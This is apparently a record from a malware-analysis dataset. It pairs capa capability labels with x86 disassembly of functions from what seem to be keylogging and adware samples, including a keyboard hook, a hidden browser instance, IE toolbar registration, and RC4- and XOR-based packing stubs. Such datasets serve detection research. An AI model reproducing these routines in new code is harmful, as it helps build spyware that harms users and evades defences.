joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100079a3
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x160
push ebx
push esi
mov esi, ecx
push edi
xor edi, edi
lea edx, [ebp - 8]
mov eax, dword [esi + 0xc0]
mov dword [ebp - 8], edi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x94]
cmp dword [ebp - 8], edi
jne 0x100079d5
xor eax, eax
jmp 0x10007b37
push dword [ebp - 8]
mov ecx, esi
call fcn.10007b3c
lea ebx, [esi + 0x80]
cmp eax, edi
mov dword [ebx], eax
je 0x10007b34
lea eax, [esi + 0x7c]
lea ecx, [esi + 0x2c]
neg eax
sbb eax, eax
and eax, ebx
push dword [eax]
call fcn.1000966f
push dword [ebx]
mov ecx, esi
call fcn.10007c8e
push edi
push dword [esi + 0x140]
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [ebp - 4], eax
mov eax, 0x10006ef3
push esi
push edi
lea ecx, [esi + 0x20]
push eax
call fcn.10009642
push dword [ebp - 4]
lea eax, [esi + 0x20]
push edi
push eax
push 2
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
cmp dword [esi + 0xa0], edi
mov dword [esi + 0x13c], eax
lea eax, [esi + 0xa0]
je 0x10007b34
lea ecx, [esi + 0x9c]
neg ecx
sbb ecx, ecx
and ecx, eax
push dword [ecx]
lea ecx, [esi + 0x54]
call fcn.1000966f
push edi
push dword [esi + 0x430]
push 0x40c
push dword [ebx]
call dword [sym.imp.USER32.dll_SendMessageA]
cmp eax, edi
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], edi
jle 0x10007b34
jmp 0x10007a8f
xor edi, edi
push 0x50
lea eax, [ebp - 0x5c]
push edi
push eax
call fcn.1000e610
and byte [ebp - 0x160], 0
add esp, 0xc
xor eax, eax
lea edi, [ebp - 0x15f]
push 0x40
mov dword [ebp - 0x5c], 0x50
pop ecx
mov dword [ebp - 0x58], 0xfff
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x160]
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x5c]
push eax
mov dword [ebp - 0x44], 0x104
push dword [ebp - 4]
push 0x41d
push dword [ebx]
call edi
lea eax, [ebp - 0x160]
push eax
call fcn.1000eb50
lea eax, [ebp - 0x160]
mov dword [esp], str.Address
push eax
call fcn.1000ece8
pop ecx
test eax, eax
pop ecx
jne 0x10007b1f
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0xc]
jl 0x10007a8d
jmp 0x10007b34
mov eax, dword [ebp - 0x28]
push 0
push eax
push 0x410
push dword [ebx]
mov dword [esi + 0x434], eax
call edi
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10007d59
Capabilities:
Initialize iwebbrowser2

Disassembly:
mov eax, 0x1001969c
call fcn.1000ea40
sub esp, 0x234
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 0x10], esp
push 0x7f
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x23f]
mov byte [ebp - 0x240], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esi + 0x14c]
mov dword [ebp - 4], ebx
cmp eax, ebx
jne 0x10007d9b
mov eax, 0x1001a3bc
mov ecx, dword [ebp + 0xc]
cmp ecx, ebx
jne 0x10007da7
mov ecx, 0x1001a3bc
push eax
push ecx
lea eax, [ebp - 0x240]
push str._s_id_s
push eax
call fcn.1000ea5f
add esp, 0x10
lea eax, [ebp - 0x240]
lea ecx, [ebp - 0x18]
push eax
call fcn.100038f3
mov ecx, dword [eax]
mov byte [ebp - 4], 1
cmp ecx, ebx
je 0x10007de0
call fcn.10003a9a
mov dword [ebp - 0x1c], eax
jmp 0x10007de3
mov dword [ebp - 0x1c], ebx
mov ecx, dword [ebp - 0x18]
cmp ecx, ebx
je 0x10007def
call fcn.10003a43
push str.Free_Cruise
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 2
call fcn.100038f3
xor eax, eax
lea edi, [ebp - 0x2e]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.User_Agent:_FCTB1_r_n
mov word [ebp - 0x30], 8
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [ebp - 0x28], eax
mov word [ebp - 0x40], bx
mov dword [ebp - 0x14], ebx
mov byte [ebp - 4], 4
call dword [sym.imp.USER32.dll_GetForegroundWindow]
lea eax, [ebp - 0x14]
push eax
push 0x1001a620
push 0x17
push ebx
push 0x1001a600
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov eax, dword [ebp - 0x14]
push 0xffffffffffffffff
push eax
mov ecx, dword [eax]
call dword [ecx + 0xbc]
mov eax, dword [ebp - 0x14]
push 0xffffffffffffffff
push eax
mov ecx, dword [eax]
call dword [ecx + 0xac]
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 0x14]
push edx
lea edx, [ebp - 0x40]
push edx
lea edx, [ebp - 0x40]
mov ecx, dword [eax]
push edx
lea edx, [ebp - 0x40]
push edx
push dword [ebp - 0x1c]
push eax
call dword [ecx + 0x2c]
mov eax, dword [ebp - 0x14]
push 0xffffffffffffffff
push eax
mov ecx, dword [eax]
call dword [ecx + 0xa4]
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x20]
mov dword [ebp - 0x20], ebx
push edx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x94]
push 0x213
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [ebp - 0x20]
call dword [sym.imp.USER32.dll_SetWindowPos]
lea eax, [ebp - 0x14]
lea ecx, [esi + 0x444]
push eax
call fcn.10009774
mov eax, dword [ebp - 0x14]
mov byte [ebp - 4], 3
cmp eax, ebx
je 0x10007ed2
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [ebp - 0x18]
cmp ecx, ebx
je 0x10007ee1
call fcn.10003a43
mov dword [ebp - 0x18], ebx
push dword [ebp - 0x1c]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
or dword [ebp - 4], 0xffffffff
push 1
lea ecx, [ebp + 8]
call fcn.1000353a
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 0x10
Function at 0x10007f0f
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov eax, dword [edi]
mov dword [ebp - 4], esi
test eax, eax
je 0x10007f2e
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
and dword [edi], 0
push dword [esi]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
test eax, eax
jne 0x10007f41
push 0x10021c54
jmp 0x10007f9c
lea esi, [eax + 1]
mov eax, esi
add eax, 3
and al, 0xfc
call fcn.1000ebd0
mov eax, dword [ebp - 4]
mov ebx, esp
push esi
push ebx
push dword [eax]
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x10007fad
test ebx, ebx
jne 0x10007f6b
xor eax, eax
jmp 0x10007f9b
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
inc esi
lea eax, [esi + esi]
add eax, 3
and al, 0xfc
call fcn.1000ebd0
mov edi, esp
push esi
push edi
xor eax, eax
push 0xffffffffffffffff
push ebx
push eax
push eax
mov word [edi], ax
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, edi
mov edi, dword [ebp + 8]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
xor ecx, ecx
mov dword [edi], eax
test eax, eax
setne cl
mov eax, ecx
lea esp, [ebp - 0x10]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x1000886c
Capabilities:
Get file size

Disassembly:
mov eax, 0x100197f7
call fcn.1000ea40
sub esp, 0x20
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x18], ebx
mov al, byte [ebp + 0xb]
push 1
pop edi
lea ecx, [ebp - 0x2c]
push ebx
mov dword [ebp - 4], edi
mov dword [ebp - 0x14], ebx
mov byte [ebp - 0x2c], al
call fcn.1000353a
mov eax, dword [ebp + 0x10]
mov byte [ebp - 4], 3
cmp eax, ebx
jne 0x100088ac
mov eax, 0x1001a3bc
push ebx
push ebx
push 3
push ebx
push ebx
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100088ea
mov esi, dword [ebp + 8]
mov al, byte [ebp + 0xb]
push ebx
mov ecx, esi
mov byte [esi], al
call fcn.1000353a
push ebx
call fcn.1000eb50
pop ecx
push eax
push ebx
mov ecx, esi
call fcn.100035c1
mov dword [ebp - 0x18], edi
jmp 0x10008950
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push esi
mov dword [ebp - 0x1c], edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp edi, ebx
jne 0x1000890a
mov esi, dword [ebp + 8]
mov al, byte [ebp + 0xb]
jmp 0x10008930
mov eax, dword [ebp + 0x10]
cmp eax, ebx
jne 0x10008916
mov eax, 0x1001a3bc
push 0x1001e750
push eax
call fcn.1000fcd8
pop ecx
cmp eax, ebx
pop ecx
mov dword [ebp - 0x14], eax
jne 0x10008966
mov esi, dword [ebp + 8]
mov al, byte [ebp + 0xb]
push ebx
mov ecx, esi
mov byte [esi], al
call fcn.1000353a
push ebx
call fcn.1000eb50
pop ecx
push eax
push ebx
mov ecx, esi
call fcn.100035c1
push 1
pop edi
mov dword [ebp - 0x18], edi
push edi
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 1
call fcn.1000353a
mov byte [ebp - 4], bl
push edi
jmp 0x10008a00
inc edi
push edi
call fcn.1000fe02
mov esi, eax
push edi
push ebx
push esi
call fcn.1000e610
push dword [ebp - 0x14]
push 1
push dword [ebp - 0x1c]
push esi
call fcn.1000fceb
push dword [ebp - 0x14]
call fcn.1000faf1
push esi
call fcn.1000eb50
add esp, 0x28
lea ecx, [ebp - 0x2c]
push eax
push esi
call fcn.100035c1
push esi
call fcn.1000ebff
pop ecx
jmp 0x100089c0
mov esi, dword [ebp + 8]
mov al, byte [ebp - 0x2c]
push ebx
mov ecx, esi
mov dword [ebp - 4], 2
mov byte [esi], al
call fcn.1000353a
push dword [0x1001a3c0]
lea eax, [ebp - 0x2c]
mov ecx, esi
push ebx
push eax
call fcn.100033ea
or dword [ebp - 0x18], 1
push 1
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 1
call fcn.1000353a
mov byte [ebp - 4], bl
push 1
lea ecx, [ebp + 0xc]
call fcn.1000353a
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x10008a19
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
push esi
lea eax, [ebp - 0x140]
push edi
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
jne 0x10008a3d
xor eax, eax
jmp 0x10008a84
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
test byte [ebp - 0x140], 0x10
jne 0x10008a39
xor esi, esi
push esi
push esi
push 3
push esi
push esi
push SysReAllocString
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10008a39
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp ebx, esi
setne al
pop ebx
pop edi
pop esi
leave
ret

Function at 0x1000939c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push ebx
push esi
lea eax, [ebp - 0x20]
push edi
xor esi, esi
push eax
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
movzx eax, word [ebp - 0x1e]
movzx ecx, word [ebp - 0x1a]
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x4c], 0x1f
mov dword [ebp - 0x48], 0x3b
mov dword [ebp - 0x44], 0x5a
mov dword [ebp - 0x40], 0x78
mov dword [ebp - 0x3c], 0x97
mov dword [ebp - 0x38], 0xb5
mov dword [ebp - 0x34], 0xd4
mov dword [ebp - 0x30], 0xf3
mov dword [ebp - 0x2c], 0x111
mov dword [ebp - 0x28], 0x130
mov dword [ebp - 0x24], 0x14e
mov eax, dword [ebp + eax*4 - 0x54]
mov dword [ebp - 4], esi
add eax, ecx
mov ebx, str.SoftwareUseToolbar
movzx ecx, word [ebp - 0x18]
lea eax, [eax + eax*2]
push 0xf003f
mov edi, SysReAllocString
push ebx
lea esi, [ecx + eax*8]
push edi
movzx eax, word [ebp - 0x16]
imul esi, esi, 0x3c
lea ecx, [ebp - 4]
add esi, eax
call fcn.10005738
test eax, eax
jne 0x10009474
lea eax, [ebp - 0xc]
push 4
push eax
push 4
push 0
push str.LangFileUpdate
push dword [ebp - 4]
mov dword [ebp - 0xc], esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp dword [ebp - 4], 0
mov dword [ebp - 8], esi
je 0x100094e6
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x100094e6
lea ecx, [ebp - 0x10]
xor eax, eax
push ecx
lea ecx, [ebp - 0xc]
push ecx
push eax
push 0xf003f
push eax
push eax
push eax
push ebx
push edi
mov dword [ebp - 0xc], eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ebx, ebx
cmp eax, ebx
jne 0x100094dc
xor eax, eax
cmp dword [ebp - 4], ebx
je 0x100094aa
push dword [ebp - 4]
call edi
mov ecx, dword [ebp - 0xc]
cmp eax, ebx
mov dword [ebp - 4], ecx
jne 0x100094dc
lea eax, [ebp - 0xc]
push 4
push eax
push 4
push ebx
push str.LangFileUpdate
push ecx
mov dword [ebp - 0xc], esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp dword [ebp - 4], ebx
mov dword [ebp - 8], esi
je 0x100094e6
push dword [ebp - 4]
call edi
mov dword [ebp - 4], ebx
cmp dword [ebp - 4], ebx
je 0x100094e6
push dword [ebp - 4]
call edi
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000b67c
Capabilities:
Delete registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor ebx, ebx
push edi
lea eax, [ebp - 8]
push ebx
push eax
push ebx
push 0x20006
push ebx
push ebx
push ebx
push str.SoftwareMicrosoftInternet_ExplorerToolbar
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 8], ebx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push ebx
push ebx
push 3
push ebx
push str.C5B7140A_CBA6_4C5B_B10D_DF94B5F17AB5
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 8]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
push 0xf003f
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerDiscardablePostSetupComponent_Categories00021493_0000_0000_C000_000000000046
push SysReAllocString
lea ecx, [ebp - 4]
mov dword [ebp - 4], ebx
call fcn.10005738
mov edi, dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x1000b700
push str.Enum
push dword [ebp - 4]
call edi
cmp dword [ebp - 4], ebx
je 0x1000b700
push dword [ebp - 4]
call esi
mov dword [ebp - 4], ebx
push 0xf003f
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerDiscardablePostSetupComponent_Categories00021494_0000_0000_C000_000000000046
push SysReAllocString
lea ecx, [ebp - 4]
call fcn.10005738
test eax, eax
jne 0x1000b732
push str.Enum
push dword [ebp - 4]
call edi
cmp dword [ebp - 4], ebx
je 0x1000b732
push dword [ebp - 4]
call esi
mov dword [ebp - 4], ebx
push ebx
push 1
push 0x10021c80
call dword [sym.imp.ATL.DLL_AtlModuleRegisterServer]
mov edi, eax
cmp edi, ebx
je 0x1000b757
cmp dword [ebp - 4], ebx
je 0x1000b750
push dword [ebp - 4]
call esi
mov eax, edi
jmp 0x1000b7db
push str.Controls_that_are_safely_scriptable
mov esi, 0x1001a6a0
sub esp, 0x10
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.1000b870
add esp, 0x14
test eax, eax
jl 0x1000b791
sub esp, 0x10
mov esi, 0x1001a6a0
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 0x1001a470
movsd dword es:[edi], dword [esi]
call fcn.1000b904
add esp, 0x14
push str.Controls_safely_initializable_from_persistent_data
mov esi, 0x1001a690
sub esp, 0x10
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.1000b870
add esp, 0x14
test eax, eax
jl 0x1000b7cb
sub esp, 0x10
mov esi, 0x1001a690
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 0x1001a470
movsd dword es:[edi], dword [esi]
call fcn.1000b904
add esp, 0x14
cmp dword [ebp - 4], ebx
je 0x1000b7d9
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000b7e0
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor eax, eax
push edi
lea ecx, [ebp - 4]
push eax
push ecx
push eax
push 0x20006
push eax
push eax
push eax
push str.SoftwareMicrosoftInternet_ExplorerToolbar
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 4], eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push str.C5B7140A_CBA6_4C5B_B10D_DF94B5F17AB5
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
sub esp, 0x10
mov esi, 0x1001a690
mov edi, esp
mov ebx, 0x1001a470
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push ebx
movsd dword es:[edi], dword [esi]
call fcn.1000b95f
add esp, 0x14
test eax, eax
jl 0x1000b86b
sub esp, 0x10
mov esi, 0x1001a6a0
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push ebx
movsd dword es:[edi], dword [esi]
call fcn.1000b95f
add esp, 0x14
test eax, eax
jl 0x1000b86b
push 0
push 1
push 0x10021c80
call dword [sym.imp.ATL.DLL_AtlModuleUnregisterServerEx]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000c41f
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push 0
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
movzx eax, byte [ebp - 4]
shr eax, 5
and eax, 1
leave
ret
Function at 0x1000cbd1
Capabilities:
Terminate process

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x10]
test esi, esi
push edi
jne 0x1000cbe4
xor eax, eax
jmp 0x1000cd91
mov edi, dword [esp + 0x18]
xor ebp, ebp
mov ebx, esi
mov eax, edi
dec edi
test eax, eax
jle 0x1000cce5
mov al, byte [esi]
test al, al
je 0x1000cce5
cmp al, 0x26
jne 0x1000cc7f
inc esi
push 3
push 0x1001ebb8
push esi
call fcn.100106e9
add esp, 0xc
test eax, eax
jne 0x1000cc21
inc esi
inc esi
sub edi, 3
jmp 0x1000cc7f
push 3
push 0x1001ebb4
push esi
call fcn.100106e9
add esp, 0xc
test eax, eax
je 0x1000cc1a
push 4
push str.amp_
push esi
call fcn.100106e9
add esp, 0xc
test eax, eax
jne 0x1000cc51
add esi, 3
sub edi, 4
jmp 0x1000cc7f
push 5
push str.apos_
push esi
call fcn.100106e9
add esp, 0xc
test eax, eax
je 0x1000cc79
push 5
push str.quot_
push esi
call fcn.100106e9
add esp, 0xc
test eax, eax
jne 0x1000cc86
add esi, 4
sub edi, 5
inc ebp
inc esi
jmp 0x1000cbec
mov al, byte [esi]
xor edi, edi
test al, al
je 0x1000cc9e
cmp al, 0x3b
je 0x1000cc9e
cmp edi, 0xa
jge 0x1000cc9e
mov al, byte [edi + esi + 1]
inc edi
jmp 0x1000cc8a
inc edi
lea eax, [edi + 1]
push eax
call fcn.1000fe02
mov ebx, eax
mov eax, edi
pop ecx
and byte [ebx + edi], 0
dec edi
test eax, eax
je 0x1000ccc7
lea eax, [ebx + edi]
sub esi, ebx
inc edi
mov cl, byte [esi + eax]
dec edi
mov byte [eax], cl
dec eax
test edi, edi
ja 0x1000ccbc
push ebx
push str.unknown_escape_character:__s
call fcn.100106a8
push ebx
call fcn.1000ebff
add esp, 0xc
push 0xff
call fcn.1000f9ef
lea eax, [ebp + 1]
push eax
call fcn.1000fe02
mov esi, eax
mov eax, ebp
dec ebp
pop ecx
test eax, eax
mov dword [esp + 0x14], esi
je 0x1000cd8a
lea edi, [ebp + 1]
mov al, byte [ebx]
cmp al, 0x26
jne 0x1000cd7f
push 3
inc ebx
pop ebp
push ebp
push 0x1001ebb8
push ebx
call fcn.100106e9
add esp, 0xc
test eax, eax
jne 0x1000cd25
mov byte [esi], 0x3c
jmp 0x1000cd3b
push ebp
push 0x1001ebb4
push ebx
call fcn.100106e9
add esp, 0xc
test eax, eax
jne 0x1000cd40
mov byte [esi], 0x3e
inc esi
add ebx, ebp
jmp 0x1000cd83
push 4
push str.amp_
push ebx
call fcn.100106e9
add esp, 0xc
test eax, eax
jne 0x1000cd5d
mov byte [esi], 0x26
inc esi
add ebx, 4
jmp 0x1000cd83
push 5
push str.apos_
push ebx
call fcn.100106e9
add esp, 0xc
test eax, eax
jne 0x1000cd7a
mov byte [esi], 0x27
inc esi
add ebx, 5
jmp 0x1000cd83
mov byte [esi], 0x22
jmp 0x1000cd74
mov byte [esi], al
inc esi
inc ebx
dec edi
jne 0x1000cd03
and byte [esi], 0
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x40a15c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [ebp + 0xc]
mov word [ebp + 0xc], ax
mov ebx, 0x19826993
mov eax, ebx
mul ebx
mov dword [ebp - 0x10], eax
mov ebx, eax
xor esi, esi
mov eax, ebx
mul ebx
mov dword [ebp - 0x14], eax
mov ebx, eax
mov word [ebp - 0xc], 0
jmp 0x40a272
mov eax, ebx
xor eax, ebx
mov ebx, eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call fcn.00405066
pop ecx
mov edx, eax
mov byte [ebp - 1], dl
cmp byte [ebp - 1], 0
jne 0x40a1b3
mov byte [ebp - 2], 0
jmp 0x40a1dd
call fcn.0040ddd8
mov dword [ebp - 0x18], eax
mov eax, 0x7fff
mov edi, 7
movzx edx, byte [ebp - 1]
mov ecx, edi
sub ecx, edx
cdq
idiv ecx
mov ecx, eax
mov eax, dword [ebp - 0x18]
cdq
idiv ecx
mov edx, eax
mov byte [ebp - 2], dl
mov eax, dword [ebp + 8]
mov al, byte [esi + eax]
cmp al, 0x70
jb 0x40a1fc
cmp al, 0x7f
ja 0x40a1fc
mov eax, dword [ebp + 8]
add eax, esi
inc eax
movzx edx, byte [eax]
movzx ecx, byte [ebp - 2]
sub edx, ecx
mov byte [eax], dl
mov eax, dword [ebp + 8]
movzx eax, byte [esi + eax]
cmp eax, 0xe2
jne 0x40a21b
mov eax, dword [ebp + 8]
add eax, esi
inc eax
movzx edx, byte [eax]
movzx ecx, byte [ebp - 2]
sub edx, ecx
mov byte [eax], dl
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 8
push 0x90
lea eax, [ebp - 0xa]
push eax
call fcn.0040ddc0
movzx eax, byte [ebp - 1]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
lea eax, [ebp - 0xa]
movzx edx, byte [ebp - 2]
add eax, edx
push eax
call fcn.0040ddb4
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 6
lea eax, [ebp - 0xa]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call fcn.0040ddb4
add esp, 0x24
mov eax, ebx
add eax, ebx
mov ebx, eax
add esi, 6
inc word [ebp - 0xc]
movzx eax, word [ebp + 0xc]
dec eax
cmp esi, eax
jb 0x40a190
pop edi
pop esi
pop ebx
leave
ret

Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..rsrc
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x432072
nop
mov ebx, 0x40c7d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x35c97bdd
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x432060
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4320d2
nop
nop
nop
mov ebx, 0x42f314
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x6e472310
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
loop 0x4320c0
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219